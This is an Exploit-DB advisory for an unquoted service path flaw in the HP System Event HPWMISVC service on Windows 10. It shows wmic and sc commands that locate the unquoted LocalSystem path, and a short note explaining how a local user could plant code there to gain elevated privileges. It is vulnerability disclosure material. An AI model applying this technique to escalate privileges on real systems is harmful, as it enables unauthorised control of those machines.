HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path

EDB-ID:

48075

CVE:

N/A




Platform:

Windows

Date:

2020-02-17


# Exploit Title: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-02-14
# Vendor Homepage:https://www8.hp.com/mx/es/home.html
# Software Link:ftp://ftp.hp.com/pub/softpaq/sp70001-70500/sp70439.exe
# HP Development Company, L.P.
# Tested Version: 1.2.9.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "HP" | findstr /i /v """
HPWMISVC                                                  HPWMISVC                                  C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe                                                                                                                                                                                                                  Auto

C:\>sc qc HPWMISVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HPWMISVC
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HPWMISVC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>
# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system 
# root path undetected by the OS or other security applications where it could potentially be 
# executed during application startup or reboot. If successful, the local user's code would 
# execute with the elevated privileges of the application.